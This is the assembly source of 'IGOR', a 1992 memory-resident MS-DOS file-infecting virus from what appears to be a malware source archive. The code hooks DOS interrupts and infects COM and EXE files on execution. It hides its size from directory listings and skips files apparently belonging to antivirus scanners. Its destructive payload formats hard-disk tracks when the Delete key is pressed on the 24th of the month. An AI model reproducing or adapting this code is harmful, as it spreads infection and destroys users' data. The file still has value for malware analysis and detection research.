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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.igor.asm

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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;<3B><> <20><>
;<3B><> IGOR <20><>
;<3B><> <20><>
;<3B><> Created: 12-Jul-92 <20><>
;<3B><> Passes: 5 Analysis Options on: none <20><>
;<3B><> (c) 1992 by Igor Ratzkopf - All Rights Reserved July R <20><>
;<3B><> <20><>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
data_1e equ 16h
data_2e equ 469h ;*
data_3e equ 103h ;*
data_4e equ 1 ;*
data_5e equ 3 ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
igor proc far
start::
jmp short $+3 ; delay for I/O
nop
call sub_1
igor endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_1 proc near
pop bp
sub bp,106h
push ax
push bx
push cx
push dx
push si
push di
push bp
push es
push ds
mov ax,7BCDh
int 21h ; ??INT Non-standard interrupt
cmp bx,7BCDh
je loc_4 ; Jump if equal
xor bx,bx ; Zero register
push cs
pop ds
mov cx,es
mov ax,3509h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov word ptr cs:data_11+2[bp],es
mov cs:data_11[bp],bx
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov word ptr cs:data_9+2[bp],es
mov cs:data_9[bp],bx
dec cx
mov es,cx
mov bx,es:data_5e
mov dx,3C3h
mov cl,4
shr dx,cl ; Shift w/zeros fill
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4Ah
int 21h ; DOS Services ah=function 4Ah
; change memory allocation
; bx=bytes/16, es=mem segment
jc loc_4 ; Jump if carry Set
mov ah,48h ; 'H'
dec dx
mov bx,dx
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
jc loc_4 ; Jump if carry Set
dec ax
mov es,ax
mov cx,8
mov es:data_4e,cx
sub ax,0Fh
mov di,data_3e
mov es,ax
mov si,bp
add si,103h
mov cx,3C3h
cld ; Clear direction
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
mov ax,2521h
;* mov dx,offset loc_3 ;*
db 0BAh, 8Fh, 02h
push es
pop ds
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,2509h
;* mov dx,offset loc_2 ;*
db 0BAh, 1Ah, 02h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
push cs
pop ds
loc_4::
cmp cs:data_25[bp],5A4Dh
je loc_5 ; Jump if equal
mov bx,offset data_25
add bx,bp
mov ax,[bx]
mov word ptr ds:[100h],ax
add bx,2
mov al,[bx]
mov byte ptr ds:[102h],al
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,offset start
push ax
retn
data_9 dw 0, 0 ; Data table (indexed access)
data_11 dw 0, 0 ; Data table (indexed access)
loc_5::
mov bx,cs:data_33[bp]
mov dx,cs
sub dx,bx
mov ax,dx
add ax,cs:data_18[bp]
add dx,cs:data_20[bp]
mov bx,cs:data_17[bp]
mov word ptr cs:[216h][bp],bx
mov word ptr cs:[218h][bp],ax
mov ax,cs:data_19[bp]
mov word ptr cs:[20Ch][bp],dx
mov word ptr cs:[212h][bp],ax
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,0
cli ; Disable interrupts
mov ss,ax
mov sp,0
sti ; Enable interrupts
;* jmp far ptr loc_1 ;*
sub_1 endp
db 0EAh, 00h, 00h, 00h, 00h
;* No entry point to code
push ax
in al,60h ; port 60h, keybd scan or sw1
cmp al,53h ; 'S'
je loc_7 ; Jump if equal
loc_6::
pop ax
jmp dword ptr cs:data_11
loc_7::
mov ah,2Ah
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dh=month
; dl=day, al=day-of-week 0=SUN
cmp dl,18h
jne loc_6 ; Jump if not equal
mov ch,0
locloop_8::
mov ah,5
mov dh,0
mov dl,80h
int 13h ; Disk dl=drive 0 ah=func 05h
; format track=ch or cylindr=cx
; al=interleave, dh=head
inc ch
cmp ch,20h ; ' '
loopnz locloop_8 ; Loop if zf=0, cx>0
;* jmp far ptr loc_31 ;*
db 0EAh,0F0h,0FFh,0FFh,0FFh
db 0CFh
loc_9::
pushf ; Push flags
push cs
call sub_2
test al,al
jnz loc_ret_12 ; Jump if not zero
push ax
push bx
push es
mov ah,51h
int 21h ; DOS Services ah=function 51h
; get active PSP segment in bx
;* undocumented function
mov es,bx
cmp bx,es:data_1e
jne loc_11 ; Jump if not equal
mov bx,dx
mov al,[bx]
push ax
mov ah,2Fh
int 21h ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
pop ax
inc al
jnz loc_10 ; Jump if not zero
add bx,7
loc_10::
mov ax,es:[bx+17h]
and ax,1Fh
xor al,1Dh
jnz loc_11 ; Jump if not zero
and byte ptr es:[bx+17h],0E0h
sub word ptr es:[bx+1Dh],3C3h
sbb es:[bx+1Fh],ax
loc_11::
pop es
pop bx
pop ax
loc_ret_12::
iret ; Interrupt return
;* No entry point to code
cmp ax,4B00h
je loc_14 ; Jump if equal
cmp ah,11h
je loc_9 ; Jump if equal
cmp ah,12h
je loc_9 ; Jump if equal
cmp ax,7BCDh
jne loc_13 ; Jump if not equal
jmp short loc_14
db 90h
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_2 proc near
loc_13::
jmp dword ptr cs:data_9
loc_14::
and [bx+si],ah
and [bx+si],ah
and [bx+si],ah
push es
push ds
cmp ax,7BCDh
jne loc_15 ; Jump if not equal
push cs
pop ds
mov dx,4B7h
jmp short loc_16
db 90h
loc_15::
call sub_5
jc loc_18 ; Jump if carry Set
loc_16::
mov ax,4300h
int 21h ; DOS Services ah=function 43h
; get attrb cx, filename @ds:dx
jc loc_19 ; Jump if carry Set
test cl,1
jz loc_17 ; Jump if zero
and cl,0FEh
mov ax,4301h
int 21h ; DOS Services ah=function 43h
; set attrb cx, filename @ds:dx
jc loc_19 ; Jump if carry Set
loc_17::
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc loc_19 ; Jump if carry Set
mov bx,ax
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get file date+time, bx=handle
; returns cx=time, dx=time
mov al,cl
or cl,1Fh
dec cx
dec cx
xor al,cl
jz loc_19 ; Jump if zero
push cs
pop ds
mov data_21,cx
mov data_22,dx
mov ah,3Fh ; '?'
mov cx,20h
mov dx,offset data_25
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
jc loc_18 ; Jump if carry Set
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
jc loc_18 ; Jump if carry Set
cmp cs:data_25,5A4Dh
je loc_21 ; Jump if equal
mov cx,ax
sub cx,3
mov cs:data_24,cx
call sub_3
jc loc_18 ; Jump if carry Set
mov ah,40h ; '@'
mov dx,offset data_23
mov cx,3
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
loc_18::
mov cx,cs:data_21
mov dx,cs:data_22
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
mov ah,3Eh
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
loc_19::
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
cmp ax,7BCDh
jne loc_20 ; Jump if not equal
mov bx,ax
loc_20::
jmp dword ptr cs:data_9
loc_21::
mov cx,cs:data_32
mov cs:data_17,cx
mov cx,cs:data_33
mov cs:data_18,cx
mov cx,cs:data_31
mov cs:data_19,cx
mov cx,cs:data_30
mov cs:data_20,cx
push ax
push dx
call sub_4
sub dx,cs:data_29
mov cs:data_33,dx
mov cs:data_32,ax
pop dx
pop ax
add ax,3C3h
adc dx,0
push ax
push dx
call sub_4
sub dx,cs:data_29
add ax,40h
mov cs:data_30,dx
mov cs:data_31,ax
pop dx
pop ax
push bx
push cx
mov cl,7
shl dx,cl ; Shift w/zeros fill
mov bx,ax
mov cl,9
shr bx,cl ; Shift w/zeros fill
add dx,bx
and ax,1FFh
jz loc_22 ; Jump if zero
inc dx
loc_22::
pop cx
pop bx
mov cs:data_26,ax
mov cs:data_27,dx
call sub_3
jc loc_23 ; Jump if carry Set
mov ah,40h ; '@'
mov dx,data_2e
mov cx,20h
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
loc_23::
jmp loc_18
sub_2 endp
data_17 dw 0 ; Data table (indexed access)
data_18 dw 0 ; Data table (indexed access)
data_19 dw 0 ; Data table (indexed access)
data_20 dw 0 ; Data table (indexed access)
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_3 proc near
mov ah,40h ; '@'
mov dx,103h
mov cx,3C3h
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
jc loc_24 ; Jump if carry Set
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
jc loc_24 ; Jump if carry Set
clc ; Clear carry flag
retn
loc_24::
stc ; Set carry flag
retn
sub_3 endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_4 proc near
push bx
push cx
mov cl,0Ch
shl dx,cl ; Shift w/zeros fill
mov bx,ax
mov cl,4
shr bx,cl ; Shift w/zeros fill
add dx,bx
and ax,0Fh
pop cx
pop bx
retn
sub_4 endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_5 proc near
push si
push cx
mov si,dx
mov cx,128h
locloop_25::
cmp byte ptr [si],2Eh ; '.'
je loc_26 ; Jump if equal
inc si
loop locloop_25 ; Loop if cx > 0
loc_26::
cmp word ptr [si-2],544Fh
jne loc_27 ; Jump if not equal
cmp word ptr [si-4],5250h
je loc_30 ; Jump if equal
loc_27::
cmp word ptr [si-2],4E41h
jne loc_28 ; Jump if not equal
cmp word ptr [si-4],4353h
je loc_30 ; Jump if equal
loc_28::
cmp word ptr [si-2],2041h
jne loc_29 ; Jump if not equal
cmp word ptr [si-4],454Ch
je loc_30 ; Jump if equal
loc_29::
pop cx
pop si
clc ; Clear carry flag
retn
loc_30::
pop cx
pop si
stc ; Set carry flag
retn
sub_5 endp
data_21 dw 0
data_22 dw 0
data_23 db 0E9h
data_24 dw 9090h
data_25 dw 0CD90h ; Data table (indexed access)
data_26 dw 20h
data_27 dw 0
db 0, 0
data_29 dw 0
db 0, 0, 0, 0
data_30 dw 0
data_31 dw 0
db 0, 0
data_32 dw 0
data_33 dw 0 ; Data table (indexed access)
db 15 dup (0)
copyright db '(c) 1992 by Igor Ratzkopf - All '
db 'Rights Reserved July R'
seg_a ends
end start
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